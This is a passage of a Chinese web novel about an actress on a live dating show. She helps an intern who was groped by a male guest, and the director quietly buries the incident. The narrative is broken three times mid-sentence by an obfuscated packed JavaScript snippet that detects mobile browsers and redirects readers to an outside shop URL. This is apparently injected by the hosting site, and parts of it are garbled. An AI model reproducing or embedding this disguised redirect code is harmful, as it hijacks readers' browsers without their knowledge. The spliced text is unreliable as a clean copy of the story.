梁颂带着露露,找了一圈才找到导演,导演正好刚挂断了电话,也不知道在和谁通话,笑得像朵向日葵似的。 可能是心情正好,导演以无比轻快的口吻问:“找我吗?有什么事?” 梁颂在路上早问清了事情发生的具体位置,尽管头一次做这种事,心里难免打鼓,但仍是大胆地提出要求:“我想调看后台准备区的监控。” “嗯?为什么?”导演随口问,“丢东西了?” “不是。”梁颂否认,把缩在自己身后的露露拉出来,严肃地说,“她被人猥亵了,那人不承认。” 导演顿时收敛了随意的笑:“什么?”旋即视线落到了露露的身上,在看到她的工作证后,语气都跟着严厉了,“真的吗?是谁?怎么回事?” 露露有点胆怯,看向梁颂。 梁颂把手放在她后背,用眼神鼓励她说出来。 露露终是鼓起勇气,把事情的经过详细讲给了导演听。 导演听罢,沉吟不语,既没说相信她,也没质疑她在编造故事。 梁颂拿不准他的态度,等待了一会儿,说:“要想证实她的说法很简单,只要把监控调出来一看就一目了然了。” 导演抬手,制止她说下去,说:“我知道,但这并不是一件小事。就算她说的是真的,那该怎么处理呢?” 梁颂急了:“那也总不能就这样放任不管吧。” “你先别急,我这不是也没说不管吗?”导演说,“我作为导演,节目有出纰漏的风险,我总得先想好后续的处理措施吧。” “呃……你都不想先去确认清楚的吗?” “当然要,但我也得先提前预设各种情况。”导演对着露露说,“要是有人存心撒谎,那我也不会轻易放过她。” 露露闻言,肩膀瑟缩了一下。 “走吧,去看看。”导演说着,率先走在了前面。 梁颂拍拍露露的肩膀,轻声说:“别怕。” 露露紧张地说:“万一没拍到怎么办?谁还能帮我作证呢?” 梁颂也想到了这种可能,说:“那就去跟他当面对质,我就不信他的心理素质有那么强,能让人看不出一点端倪。” 露露迷茫地叹气:“为什么会让我遇到这种事情呢?我又没得罪过他,我甚至在今天以前都没见过他。” 梁颂坚定地说:“不是你的错,不要怀疑自己。” 露露黯然垂眼,轻轻“嗯”了声。 15. 第 15 章 导演带着梁颂和露露到了监控室,果然,有导演出马,一切都变得简单多了。他们顺利地查看了监控,在监控画面里,尽管有前面人的遮挡,但依然能清清楚楚地看到五号男嘉宾对着露露伸出的那只咸猪手。 证据确凿,可以说是无可辩驳了。 梁颂看着导演,见他面色凝重,一言不发,问:“导演,怎么办?” 导演双手叉着腰,沉思了半晌,示意梁颂她们跟他到了隔壁一个无人的房间,这才问露露:“你有什么诉求?” 露露怔了怔:“啊?” 导演便把话说得更直白了些:“你是想让他道歉,赔偿,或者说是报警?” “我……”露露面露犹豫,“我其实也没想那么多。” 导演意味不明地笑了声,说:“要是录播也就算了,直播出了这种状况,要联系其他男嘉宾过来也要时间,实在是不好处理,传出去也不好听。” 这态度很明显是想要大事化小,小事化了了,梁颂心有不甘,但也心知肚明事情闹大会给节目带来很不好的影响,便也没说什么,等着露露自己做决定。 露露咬着嘴唇想了想,小声说:“最起码也该向我道歉,还有,就不能找个合适的理由取消他的上台资格吗?找这种人来对其他的女嘉宾也很不尊重吧。” “行,道歉是肯定的,至于取消资格嘛——”导演叹了口气,提了个折中的方法,说,“这样吧,我们还是照常让他上台,但我会跟女嘉宾们打好招呼,让他第一轮就被全灭下台,可以吧。” 露露默然不语,似乎还在斟酌。 导演又说:“你是实习生吧,等你实习到期,我可以帮忙让你顺利转正,但前提是你不许把这事泄露出去,怎么样?” 这个条件倒是还蛮诱人的,露露考虑了许久,同意了:“那就这样吧。” “很好。”导演满意地点了点头,又看了一眼时间,说,“你去忙你的吧,先把节目录完再说,直播不能耽误。” “嗯,好的。”露露说着,又看向梁颂,欲言又止。 梁颂理解地说:“没事,去吧。” 露露小幅度对梁颂鞠了一躬,说:“谢谢你。” 梁颂微笑着摇摇头,目送她开门走出了这个小房间,再转头时,就见导演正若有所思地审视自己,不由得有些窘迫,问:“怎么了?” 导演勾了勾嘴角:“郑临风还跟我说你胆子小,让我看在老交情的份上多照顾照顾你。可这半天下来,我是没看出来你胆子哪里小了,要我看,你胆子大得很。” “……” “老实说,当时我听说你是那个性子,还真不愿意让你来,可现在嘛……”导演靠着旁边的桌子,双手抱胸,说,“说真的,你要不要考虑多来几期,我看你挺有节目效果的。” 梁颂干笑两声:“那您和临风姐去谈吧,我自己说的也不算。” “行。”导演直起身子,“走吧,该回去了,我也得去安排安排。” “等等。”梁颂忙叫住他,说,“让五号男嘉宾一轮就被淘汰真没问题吗?” 导演不甚在意地摆摆手:“没事,托你的福,素材好歹是够了,时长也没问题。” “……” 梁颂暗想,难怪这么好说话呢,原来是早就盘算得明明白白了。 她回到演播厅,坐下来喝了口咖啡。略显甜腻的咖啡滚过喉咙,她心中一时之间五味杂陈。 既然早已提前知道了结局,她多多少少生出了点摆烂的心理,想着无所谓了,赶紧结束,快点离开这里比什么都强。 韩清越察觉到她情绪不太对,还贴心地询问:“怎么了,梁颂?你脸色不太好啊。” 梁颂不想说话,只摇了摇头作为回答。 此时荀江已经在请五号男嘉宾出场了,梁颂握紧了手中的咖啡,眼睛紧紧盯着舞台入口,想看看这个五号男嘉宾到底是什么三头六臂的人物。 五号男嘉宾走上台来,对荀江和崔明如鞠躬:“两位主持人好。” “你好。”荀江笑着说,“先跟大家打个招呼吧。” “好的。”五号男嘉宾说,“大家好,我叫孟凯,今年二十七岁,是一家公司的行政人员。” 梁颂不动声色地上下打量他,发现单从外表来看,的确无法判断出一个人的品性如何,倒不如说,这个孟凯的整体形象看起来是个老实人。另外,他说话时的语气虽然尚且算得上自然,但从手部的小动作来看,很拘束也是显而易见的。 “欢迎你,孟凯。”荀江按部就班地把平板递给他,“请从场上的十位女嘉宾中选出你的心动嘉宾。” “好的。” 在他选择的过程中,梁颂也趁机观察了一圈女嘉宾,也没看出什么异常,不知道导演是怎么交代她们的。 【啧,平平无奇。】 【失望,想走又舍不得。】 【我决定坚持到看完脸就走。】 【只有我一直在注意梁颂吗?她好像不喜欢这个男嘉宾。】 【和上一个的落差太大了,不能接受吧hhhh。】 …… “行政人员,那和四号女嘉宾是同行呢。”崔明如说,“许一舟,你们行政人员的工作内容大概都是些什么?” 四号女嘉宾许一舟解释说:“不同岗位负责的工作也是不同的,像我主要负责的是一些对外的工作,包括接待来访人员,解答各种咨询之类的,普通的工作而已。” “但这工作和四号女嘉宾很适配呢。”崔明如开玩笑,“毕竟你往那儿一站就给人一种安心的感觉,散发着一股什么问题都不在话下的可靠的气息。” 四号女嘉宾淡然一笑:“崔老师你太夸张了。” “这可不是夸张,荀老师也这样说过的,对不对,荀老师?” 荀江无奈地笑:“是,你但凡有四号女嘉宾一半靠谱,我就放心多了。” “哎,真偏心哪。” 两个人说笑了几句,荀江便问孟凯:“今天来到这个舞台是什么感受?” “有点紧张。”孟凯老老实实地说,“我是第一次来到这种舞台。” “第一次紧张是正常的。”崔明如勾起嘴角,“不过没关系,很快就会不紧张了。” 她所说的话配合着她的表情,让梁颂在不知道她究竟知道多少的情况下,很难不多想。 一号女嘉宾赵昕举手提问:“男嘉宾,我想问你在选择心动嘉宾的时候,面对着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599615|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多陌生的女生,你首先在意的是什么呢?” “嗯,这个嘛……” “没关系的。”一号女嘉宾说,“你就大胆地说呗,之前还有男嘉宾特别直接地说自己就是单纯看脸呢,我们都懂,你不用顾虑。” 即使她这么说,也不会有人真那么没眼色,顺着她的话往下说。 孟凯“委婉”地说:“我是看眼缘吧,有些女生一眼看去就觉得很亲和,有些女生就自带一种拒人于千里之外的疏离感。” 一号女嘉宾追问:“那我呢?你对我的第一印象是什么?你可以随便说。” 孟凯说:“你应该是个随和爽朗的女生,在生活中人缘也很好的那种。” “不错哎。”崔明如称赞,“你的判断还是比较准确的,再来说几个嘛。——说说八号女嘉宾吧,好不好?” 八号女嘉宾江晚点了下头,说:“可以。” 孟凯朝着八号女嘉宾的方向看了一会儿,说:“八号女嘉宾就是我说的那种给人疏离感的人,很不好接近。” “确实眼光敏锐。”崔明如说,“再来看最后一个吧。——十号女嘉宾吧,怎么样?” 梁颂看向十号女嘉宾丁子林,见她脸色微微泛红,显然是很不习惯被拿来当例子进行公开评价。 孟凯得到了认可,顿时自信了许多,说:“十号女嘉宾是性格很安静的女生吧,平时很好说话,也不太会拒绝别人。” 崔明如说:“意思就是容易被欺负?” 孟凯愣了一下,像是没明白她为什么突然这么说。 荀江笑笑,说:“明如你的思维太跳跃了,一般人都跟不上,谁会无缘无故地欺负别人呢?” “未必哦。”崔明如振振有词,“有些人做事就是没有缘由呢。” “好吧好吧,时间有限,我们就不让孟凯了一个一个地评价大家了。”荀江说,“现在我们可以看到,孟凯有三盏灯,还不够进到下一轮,还有要亮灯的女嘉宾吗?” 女嘉宾那边却是一片沉默,无人应答。 梁颂看着她们这心照不宣的默契,心下了然,看来这种事她们也不是第一次做,已经很熟练了。但想想也是,节目开播这么多年,不可能每次的录制都很顺利,少不了出些意料之外的状况,需要女嘉宾随时配合,她们有所准备也很合理。 【咦?为什么只有三盏灯?】 【这不对吧,三号那个都顺利过了。】 【啊,看不到脸了,可惜。】 【这下崔明如一语成谶了,不用紧张了。】 【笑死,前面的什么地狱笑话。】 …… 现场的观众对这个结果也多少有点意外,在观众席小声交头接耳。 当然,最为吃惊的当属孟凯本人,他的神情甚至带了几分迷茫。 “很遗憾。”荀江冷静地对他宣告结果,“孟凯,你没能获得五盏灯,所以,很遗憾,你要跟这个舞台说再见了。” “哦——”孟凯还没回过神似的,对台下鞠了一躬,恍恍惚惚地离场了。前后也就十几分钟,他糊里糊涂地上台走了一趟,又糊里糊涂地下了台。 梁颂盯着他的背影,心想,没关系,你很快就知道为什么了。 16. 第 16 章 所有的录制结束时,天色已然暗了下来。 郑临风尽管很忙,但仍是尽职尽责地开车来接梁颂,又嘀嘀咕咕地跟导演聊了好一会儿才送她回家。 在回去的路上,梁颂想到导演让她考虑再来几期,问郑临风:“临风姐,你刚刚和导演说什么?” 郑临风目视前方,专心开车,随口说:“没说什么,就随便聊了几句。” “哦。” 梁颂松了口气,刚拿起手边的矿泉水喝了一口,下一秒就听郑临风问她:“相亲节目好玩吗?还想不想再来?” 梁颂一听,险些被谁呛到,捂着嘴咳了两声:“啊?” 郑临风笑了:“我又没说非让你来,这么激动干吗?” “……” “放心,短期内你想来也来不了。”郑临风从后视镜看了她一眼,“就算是传统的相亲节目,那也是瘦死的骆驼比马大,人家敲定的嘉宾多了去了,你想再来还得排队呢。” 梁颂小声嘀咕:“我才没想来呢。” 郑临风没听清,问:“你说什么?” 梁颂赶紧摇头,闭嘴装哑巴。 郑临风也没在意,说:“今天工作辛苦了,回家好好休息,后面的工作安排等我通知。” 梁颂乖巧地应:“好的。” 到家后,郑临风也没上楼,把梁颂放下后就离开了。 梁颂目送她的车开远,转身上楼。她走到门口,正要输入密码开门,门却突然被从里面打开了,她吓了一跳,下意识往后退了半步。 姚思曼从门内探出头来,脸上挂着笑容:“你回来啦。” 梁颂抚着心口,埋怨:“你吓死我了,你怎么知道我回来了。” “听到你的脚步声了啊。”姚思曼把她拽进来,“累坏了吧,快进来,我给你买了夜宵犒劳你。” 梁颂走进来,把门关好,扶着鞋柜踢掉折磨了她半天的高跟鞋,穿上姚思曼殷勤地帮她拿出来的拖鞋,怀疑地说:“你今天怎么这么贴心?” 姚思曼嘿嘿笑:“我一向都很贴心呀,你又不是第一天认识我。” 梁颂不为所动,换好鞋径直往客厅里走:“你少来,我可不吃这一套。” “好嘛好嘛。”姚思曼举手投降,“我这不是负荆请罪来了吗?” “哦——”梁颂拉长了声音应,故意问,“那你请的是什么罪?我怎么不明白。” “你看看你,贵人多忘事了不是?” 梁颂走到沙发边坐下,姚思曼也跟着坐在她身边,狗腿子似的给她捶腿。 “好了好了,你别这样,我怪冷的。”梁颂阻止了她的动作,说,“我这不是也没怪你吗?” 姚思曼扁了扁嘴:“但我自己过意不去嘛。” “你也是一片好意啊,谁能想到会弄巧成拙。”梁颂摆了摆手,说,“算了,事已至此,那就这样吧。” “那你之后打算怎么办嘛。” “还能怎么办,就这么办咯。”梁颂说,“今天这种局面我不是都撑过来了吗?往后应该也没问题的吧。” 大概,她又在心里补了两个字。 “那,那你不行以后就尽量少说话。”姚思曼建议她,“毕竟少说少错,是不是?” “是——不然还能怎么办呢?” 姚思曼又安慰她:“你看,好歹只是嘴不受控制,只要不说出来就没问题。要是想什么都能被听见,那才真的糟糕了呢。” 梁颂白她:“我看你是小说看太多了,想这些有的没的。” “目前的结果也很像小说了。”姚思曼吐槽,“我真想不通,如果许愿真那么灵,我之前许愿想中五百万,怎么就不满足我呢!” 梁颂敷衍:“等我发达了就给你五百万,别念叨了。” 姚思曼眼睛一亮:“一言为定!不许赖账!” “是是是,不赖账。”梁颂保证,问她,“我的夜宵呢?你不是说给我买了夜宵吗?” “啊,我买了烧烤放厨房了,但放这么久应该都凉了,我先去热一热吧。” “好啊,那我先去卸个妆,回来再吃。”梁颂起身,又问,“你今天还要回去吗?” “你明天有工作吗?” “没有吧,临风姐没说。” “那行。”姚思曼干脆地答应,“那我今天就不走了。” 梁颂去卸了妆换了睡衣,两个人坐在沙发前的毯子上,边吃边聊。 姚思曼好奇地问:“对了,我看最后的直播,那个五号男嘉宾怎么刚上台就下去了?是长得太丑了吗?你看到他的脸了吗?” “我也没看到,也懒得去后台找。”梁颂说,“他被灭灯单纯是因为自己道德败坏。” 姚思曼嗅到了八卦的味道,忙问:“怎么说?有瓜吗?” “瓜是算不上,细究起来,不如说是够进派出所的程度。”梁颂叹气,把当时的情形一五一十地和姚思曼讲了一遍。 姚思曼听得目瞪口呆:“哇,这么猖狂的吗?” “可不是,我也震惊了。” “那个女生就不追究了吗?太便宜他了。” “没办法呀,她也只是个打工人,还是个实习生,导演又给她画下了转正的大饼,可能她很看重这个转正的机会,觉得能这样就够了吧。”梁颂说,“不过也总比什么都没有要好多了。” “那倒是。”姚思曼点了点头,又像是想起了什么,说,“哦!所以崔明如说,有些人做事没有缘由,不会就是针对他说的吧。” 梁颂耸了耸肩:“那谁知道呢,或许吧。” “真是精彩,要是在现场看肯定更有意思。” 梁颂笑了笑,说:“那你也去报名当观众好啦。” “等下次你去的时候,我也去报名当观众。” 梁颂立刻拒绝:“千万别,我可没下次了。” 姚思曼略显失望:“怎么这样,不是挺好玩的吗?” “我拜托你也考虑考虑我这个当事人的死活吧。”梁颂无奈极了,“你是看开心了,不知道我有多煎熬。” “好好好,煎熬就不去了。”姚思曼问,“那你经纪人又给你安排新工作了吗?” “暂时还没有,但她下午和我提了一嘴,说有一部古偶,她想帮我争取女二的角色。” “那很好哇,你终于有新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604337|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏了,我记得你上次进组都是去年的事了。” “也不确定呢,能进就进,进不了也无所谓,反正我也不愁吃喝,饿不死。”梁颂抽了张纸巾把手上的油渍擦干净,伸手拿起水杯,微微蹙眉,说,“思曼,你说我这么想是不是太没事业心了啊。” 姚思曼果断地摇头否认:“不是。” “那就好。” 梁颂一口气还没吐出来,姚思曼紧接着补充:“你不是太没事业心,你是根本就没有事业心。” “……你好残酷。” 姚思曼不以为然:“我这是实话实说。” 梁颂默默地捧着水杯喝了几口水,小声嘀咕:“你就不能说得委婉点。” 姚思曼说:“实话就是很难听的。” “……” “好,吃饱了。”姚思曼丢开最后一根签子,用纸巾擦着手,语重心长地说,“你当初想走艺考的路,我和叔叔阿姨都劝你一定要想清楚,可是说了那么多你都不听。——怎么样,现在后悔了吗?” 梁颂向后靠在沙发上,双手抱着膝盖,说:“后悔倒谈不上,而且,这种状态还挺适合我的,有戏演就认真演,没有就闲在家里看看书写写字。你也知道,我对消费原本就没什么太强的欲望,能满足日常需求就行了。” “话是这么说,但我还是很为你可惜。”姚思曼说,“论长相,论演技,你比那些当红的小花也不差啊,你应该有更好的发展才对。” 梁颂垂下眼睑,没有说话。 姚思曼观察她的表情,又试探着开口:“有件事,我以前一直不好问你,你和唐松阳,还有没有联系呀。” 梁颂仍是沉默。 姚思曼和她相识多年,一看她这反应就懂了,有点恨铁不成钢地说:“你啊你啊,明明是为了人家才进的娱乐圈,喜欢又不主动争取,这样怎么可能有结果呢。” 反正自己已经丧失了撒谎的能力,面对的又是最好的朋友姚思曼,梁颂也就不想再隐瞒了,咬咬嘴唇下定了决心,艰难地说:“其实,我在大学的时候就告白过了。” 姚思曼大惊:“真的假的?什么时候?你一个字都没提过!说好的没有秘密呢?” 梁颂撇开视线:“那么丢脸的事,我自己都想让它烂在肚子里。” “我被脚踩两条船的事都告诉你了!”姚思曼故作受伤地抬手捂住胸口,“梁小颂,你伤我好深。” 梁颂不好意思地推了她一把:“好啦,是我的错,你就别演了。” 姚思曼理直气壮地要求:“那你现在就老实交代。” “交代就交代,反正你再问下去我也瞒不住。”梁颂放弃了挣扎,说,“那是大二时的事了,我们学校给大四毕业生举办了毕业晚会,晚会结束后,我也不知道自己怎么回事,大概是看他要毕业了,以后就见不到了,脑子一时发热,就……” “就去告白了?” “……嗯。” “然后呢然后呢?”姚思曼追问,“他是怎么说的?” 梁颂摇了摇头,神情黯然:“他什么也没说。” “啊?”姚思曼不解地眨眼,“那是什么意思?” 17. 第 17 章 是啊,那是什么意思呢? 梁颂回想起当时唐松阳的样子,笑容不无苦涩:“还能是什么意思,当然是拒绝了。” “可是你怎么能肯定呢?”姚思曼不死心,说,“他又没有直接拒绝你,不是吗?说不定仅仅是对突如其来的告白感到意外,需要时间思考呢。” 梁颂平静地说:“不是的,我能感觉出来。” “嗯——” 尽管过去了好几年,梁颂对那个场景仍是记忆犹新。 学校的礼堂内人声鼎沸,她注意到坐在自己前几排的唐松阳悄悄离场,便追随着他离开礼堂,在礼堂外的一侧找到了他。他独自伫立在在一棵银杏树下,微微仰着头,不知道在看什么,想什么。 她在不远处站了一会儿,走上前去叫了声:“学长。” 唐松阳看到是她,没说话,只对她笑了笑作为招呼。 她问:“学长你为什么出来了?” 唐松阳回答:“里面太闷了,出来透透气。” “哦……” 唐松阳并没有询问她的来意,两个人安安静静地并肩而立,良久,他轻声感叹:“时间过得真快啊,居然就要毕业了。” 她望着唐松阳夜色中的侧脸,鼓起勇气,说:“学长,我有话想和你说。” “嗯?”唐松阳转过身来面对着她,“你说。” 她结结巴巴地具体说了些什么,自己也记不清了,总之不外乎是一些没头没尾的傻话。 唐松阳并不催促,也没有打断她,只是耐心地静静倾听。 在他温柔的注视下,她的脑子里一团浆糊,酝酿了很久的那句话在舌尖滚了无数次,也终于说了出来:“学长,我喜欢你。” 唐松阳的表情没什么明显的变化,没有意外,没有惊喜,就像听到一个人在对他说,今天食堂的猪排饭还不错。 她的心脏就这样一点一点地沉了下去。 就在她以为自己不会得到任何答案的时候,唐松阳抬起手,轻轻地摸了摸她的头顶,仿佛还叹了口气,不过那叹息声太轻了,她几乎怀疑是自己听错了。 她怔怔地抬眼看去,不知道是不是错觉,她看到唐松阳的脸上有一丝淡淡的忧伤。 就在这时,身后有人叫出了唐松阳的名字:“松阳。” 她惊慌地扭头看去,就见到不知何时悄无声息出现的不速之客就站在两步开外,也不知道把他们的对话听进去了多少。 她再也顾不上思考唐松阳的反应,看都没敢再看他一眼,落荒而逃。 之后,唐松阳毕业,星途坦荡,而脱离了校园这个大环境,她似乎也没有任何理由再去联系对方了。 昔日的学长和学妹,就这样平平淡淡地成了彼此好友列表里一个微不足道的名字。 梁颂沉浸在回忆里,不知不觉便出了神。 姚思曼张开手掌在她眼前晃:“梁小颂?你还在吗?” 梁颂拨开她的手,作势起身,顾左右而言他:“那个,我先去洗澡了,你把垃圾收一收啊。” 姚思曼赶紧伸手将她拉了回来,不满地说:“哎,话还没说完呢。” “还要说什么呀,改天再说不行吗?”梁颂被拽得歪倒在姚思曼腿上,撑着她的腿坐起来,说,“早点睡觉吧,你明天还要早起上班呢。” “你别管,我起得来,而且上班本来也不用多清醒。” “……”梁颂忍不住吐槽,“你老板请你可真是遭了罪了。” 姚思曼哈哈大笑,旋即收敛了笑意,认真地问:“梁小颂,你到底还喜不喜欢他啊。” 梁颂眼看这事没个结果,自己今晚是别想睡了,思索了片刻,说:“怎么说呢?我自己的感觉也很奇怪。” 姚思曼不理解:“这有什么奇怪的?” “当年我确实坚信自己是喜欢他的。”梁颂边思考,边慢慢地说,“高中时他也算是我们学校的风云人物吧,喜欢他的人一抓一大把。” “那又不代表你就得喜欢他,这不是跟风盲从嘛!” 梁颂恼怒地推她:“你先听我说!” 姚思曼立刻投降,在嘴巴上做了个拉拉链的手势,表示自己决不再插嘴。 梁颂瞪了她一眼,不情愿地接着说:“可能是我那时候年纪还小,太中二了吧,我看到他在迎新晚会上弹着吉他唱歌时,一瞬间就被击中了,觉得他整个人都在闪闪发光,耀眼得让人移不开眼。” 姚思曼还是没忍住,说:“那确实很中二了。” 梁颂这次没理会她,继续说:“反正就是看他哪儿哪儿都好,希望自己能和他一样,所以在知道他的志愿学校后,我就想,我是不是也可以呢?” 姚思曼听到这里,端端正正地举起右手。 梁颂无奈地问:“你又要说什么?” 姚思曼满脸诚恳:“恕我直言,梁小颂,你这不是喜欢,你这就是单纯的憧憬啊!” 梁颂愣了愣,重复:“憧憬?” “毕竟你第一个念头居然是想成为他,而不是和他在一起,不是吗?” 梁颂没有应声,因为她突然想起来,曾经也有人对她说过类似的话。 他是怎么说的来着?好像是:“梁颂,你就承认吧,其实你并不喜欢他,只是被一时的迷恋蒙蔽了双眼。” 自己当时回呛的是…… “不喜欢他难道喜欢你吗?少管闲事。” 想想也是奇怪,偏偏在面对他的时候,这些话就能毫无顾忌地说出口。 姚思曼晃晃她的胳膊:“喂喂,你怎么又出神了?” 梁颂被她一晃,还没回过神来,不自觉脱口而出:“我想到了一个人。” 姚思曼疑惑地问:“谁?” 梁颂一凛,立即紧紧闭上了嘴巴,坚决地摇头。 “好嘛,看来你已经熟练掌握自己的使用方法了。”姚思曼悻悻,“不说就不说,小气鬼。”说完就不高兴地嘟着嘴,自去洗澡了,连茶几上的垃圾都不肯收了。 梁颂也没说什么,自己把垃圾收掉,把茶几擦干净,也去主卧的洗手间冲了个澡。 姚思曼的小脾气总是来得快去得也快,洗完澡哼着歌出来,边擦着湿漉漉的头发边问她:“冰箱里有吃的吗?没有我就上班路上再买。” “有吧,你自己翻着找点吃的。”梁颂侧躺着刷手机,闻言头也没回地说,“我要是没醒你就别叫我了。” 姚思曼满口答应:“知道知道,放心。” 她全部收拾妥当后,爬到床上躺下,关掉了床头灯,两个人在黑暗中有一搭没一搭地聊天。 姚思曼昨晚本就熬了个通宵,今天又上了一天班,躺下没多久就困得睁不开眼睛了,说话都不清楚,却还含含糊糊地念叨让梁颂大胆地上,也不知道是在指什么。 梁颂听得哭笑不得,把空调温度调高了些,翻个身也闭上了眼睛。 次日一早,姚思曼的第一个闹钟早早地就响了,梁颂被持续不断的铃声吵醒,再看姚思曼睡得正香,压根就没受到影响。 梁颂一旦被吵醒,短时间内就很难再睡着,她刷着微博等到姚思曼的第二个闹钟响起,把仍睡得天昏地暗的人薅起来,催促她去洗脸刷牙,又煮了两个鸡蛋,做了个简单的三明治让她带上当早餐,把游魂似的姚思曼打发去上班后,这才躺回床上又补了一觉。 无所事事地在家里窝了两天,到了周六,梁颂一大早就接到了梁母的电话,让她有空时回家住几天,梁颂看看还没到九点,索性起床整理一番,打算今天就回去。 她家在阳城,和青城之间的距离不算远,高铁只要半个小时,开车也不过两个小时就够,回家很方便。然而,一个人开两个小时的车未免过于无聊,因此她又给姚思曼打了个电话,说自己要回家,问她要不要一起。 姚思曼大概还没睡醒,迷迷糊糊地问:“你开车吗?” “开。” 姚思曼打了个哈欠,追问:“那你明天负责把我带回来吗?” “我明天不一定回来呢。”梁颂说,“但可以保证负责把你送到高铁站,怎么样?” “唔……”姚思曼想了想,“那好吧,你来接我?” “行。”梁颂应下来,又不放心地叮嘱,“你快着点啊,别拖拖拉拉的。” “知道了——” 梁颂开车到姚思曼住的小区,远远地就看见她站在小区门口的阴影里,身体倚着墙,一副萎靡不振的模样。 她按了按喇叭,姚思曼抬头张望,随即朝她这边跑过来。 “好热好热,怎么大早上就这么热。”姚思曼碎碎念着,从她背的那个大帆布包里往外掏,“你吃面包不吃?” “我不饿,你自己吃吧。”梁颂掉头的间隙瞅了她一眼,说,“看你这黑眼圈,又熬夜了啊。” 姚思曼嘿嘿笑了两声:“稍微熬了一下下。——你不懂,周五晚上熬夜的诱惑力太大了,没人能抵挡。” 梁颂摇了摇头:“你要是困就睡会儿。” “那不行。”姚思曼挑了挑眉,说,“你叫我不就是为了陪你在路上打发时间吗?我睡过去了,这工具属性不就没了?” 梁颂干笑:“看破不说破啊。” 姚思曼得意地“哼”了声,拆开面包的包装,咬了一大口。 开车回到阳城时,差不多也到了午餐时间,梁颂便直接把姚思曼带回了自己家,让她吃了饭再回去。 梁颂好久没回家,梁母见她回来很是开心,但嘴上还不忘嗔怪两句:“不叫你就不知道回来,在外边野着忘了家是吧。” 梁颂哪敢反驳,唯唯诺诺地点头。 姚思曼笑嘻嘻地接话:“阿姨,我也来蹭饭了,您不嫌弃吧。” 她们两个从初中就在一起玩,彼此的家长都对对方很熟悉,梁母也很喜欢姚思曼,笑着说:“怎么会嫌弃呢,你来我高兴还来不及呢。饿坏了吧,快去洗洗手,马上就开饭了。——小颂,去楼上把你爸叫回来。” “哦,好。” 梁父最近沉迷于下象棋,一得空就跑到楼上去找老邻居杀两盘,梁母说了他几次都没用,也就由着他去了。 现在梁颂找了上去,梁父一看是宝贝女儿回来了,也顾不上下棋了,留着棋局说下午再来接着下,便跟着梁颂下楼了。 梁颂打趣地问:“怎么样,今天又是全军覆没吗?” “你可真是我女儿,对我没一点信心。”梁父说,“我今天就输了一盘。” “嗯?真不容易,有进步哇。” “那是。”梁父颇为自得,“等我再多练一阵子,就去参加咱们小区的业余象棋大赛,一定给你捧个冠军奖杯回来。” “行,那我就等着您老的好消息。” 父女俩有说有笑地进了家门,梁母和姚思曼已经摆好了碗筷,专等他们俩回来。 吃饭时,几人随意闲聊,梁母便说起了梁颂去录的相亲节目。 梁颂奇道:“你还有时间看这个呢。” 梁母说:“我是没那个闲空,一下午都在开会,就听办公室的小姑娘聊了几句。” 姚思曼瞪大了眼睛:“啊?上班摸鱼,这您都不管啊。” 梁颂失笑:“你还好意思说别人呢,你自己不也是吗?” “只要不耽误工作,我就睁一只眼闭一只眼了。”梁母不甚在意,“上班多枯燥啊,我也想偷会儿懒,可惜没那个福气。” 姚思曼竖大拇指:“神仙领导,为什么我的领导就没这么善解人意呢?我午休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611781|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间想打个盹,我领导都得跟我巴巴地谈工作,可烦人了。” 梁母安慰她:“工作嘛,大家都一样。” “她就不一样。”姚思曼指指梁颂,“就比如说,我明天下午必须得回去,她就不用回去。” 梁颂随口说:“那我还得挨骂呢。” 梁父一听就不乐意了:“谁骂我女儿?凭什么骂我女儿?” “你行了啊。”梁母瞪他,“你女儿当初非要当演员去,你不说跟着劝两句,还说什么她做什么你都支持,这会儿又说这些。” 梁父心虚地笑:“那小颂她喜欢嘛,我这当爸的还能不支持?” “所以我就说,选了什么职业,就要承担相应的结果。” 梁颂和姚思曼听着他们斗嘴,互相对视,都偷偷地笑了。 梁母却话锋一转,告诫梁颂:“梁颂,我警告你,你可得给我谨言慎行,要是闹出什么不好的新闻,你看我能不能饶了你。” 梁颂一被她叫大名就紧张,赶紧收起笑容,严肃地应:“是!” “你别光嘴上答应得好听,要往心里去。” 梁颂扁了扁嘴:“我知道,你看我什么时候出问题了?这么不信任我。” “我这是给你打预防针,告诉你防患于未然。” “好好好。” 梁父看梁颂委屈巴巴的表情,说:“行了行了,小颂难得回来,你就让她好好吃饭,先别唠叨她了。” 吃完饭,梁父自觉主动地收拾了碗筷去厨房洗,梁颂和姚思曼陪着梁母看电视聊天。 聊着聊着,梁母冷不丁地提起:“对了小颂,我有个同事,她侄子前些天回国了,打算在国内找工作,说人可好了,长得帅又有才华,你要不要见见?” 